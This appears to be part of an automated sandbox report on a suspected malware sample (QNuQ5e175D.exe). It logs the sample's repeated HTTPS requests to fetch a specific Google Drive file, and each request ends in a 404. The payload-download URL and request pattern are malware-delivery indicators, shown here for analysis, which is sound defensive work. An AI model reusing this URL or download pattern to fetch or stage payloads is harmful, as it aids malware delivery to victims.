2025-01-11 04:06:51 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:51 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mm4KoQmzii08qyH_yTVoww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	50025	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:51 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:52 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQyHgAjAxauHLOq6dbMWfXdCljVvh2pk3hRHPiw7ehWZVrDhZa8Pu6O8dyotXL67rK2 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:52 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-nE6Y7UtAuzb2nycRDjQYGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:52 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 75 35 6d 43 42 58 45 37 31 49 54 37 6f 62 75 42 6a 44 62 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4u5mCBXE71IT7obuBjDbJA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	50026	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:52 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:53 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:53 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-m9L1PiQiTHPV5K7-rcvfwA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	50027	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:54 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:54 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQZpAqKQTmdyyG3Ej1Rs3p1D3qfZ3MW1VStHJTO1DTfIu42Ez8tzTFlGJ-wZbC4hQ78DGXeHg8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:54 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-1ScqGiQUimKOlJ_kxupGWA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:54 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 31 44 63 35 7a 4b 51 73 6c 67 6f 6f 50 7a 63 32 70 49 4f 45 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="T1Dc5zKQslgooPzc2pIOEQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	50028	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:55 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:55 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:55 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-a15GEvAqzmSeNr1bIS3YDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	50029	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:56 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:56 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgT3tmaIRFHm1yhh_0CGmJlVxbmGg9hIDyCfNxN2Bo6ZSpJu1Gumg7YZpR8OOIVWciub Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Mw7qU6iTU6ekF4mlPaJ7nQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:56 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 51 69 44 37 2d 44 71 64 4d 6b 6d 51 30 6f 73 77 4d 5f 37 69 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="BQiD7-DqdMkmQ0oswM_7iA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	50030	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:57 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:57 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:57 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-SBrG1hvBk24RBpy5pq4hTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	50031	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:58 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:06:59 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRdPOs9xyfsFG63nV1mt25njVJ_XT59WnRXpm6j5BWmyRcg7j-WzlRF_bcpyOQ-0ToSCzofaDs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:06:58 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-fvE0Sq6ueHzbcP01s4468g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:06:59 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 30 6e 51 6f 51 35 51 66 34 34 6e 64 78 63 6a 6e 6b 43 39 68 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="H0nQoQ5Qf44ndxcjnkC9hQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	50032	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:06:59 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
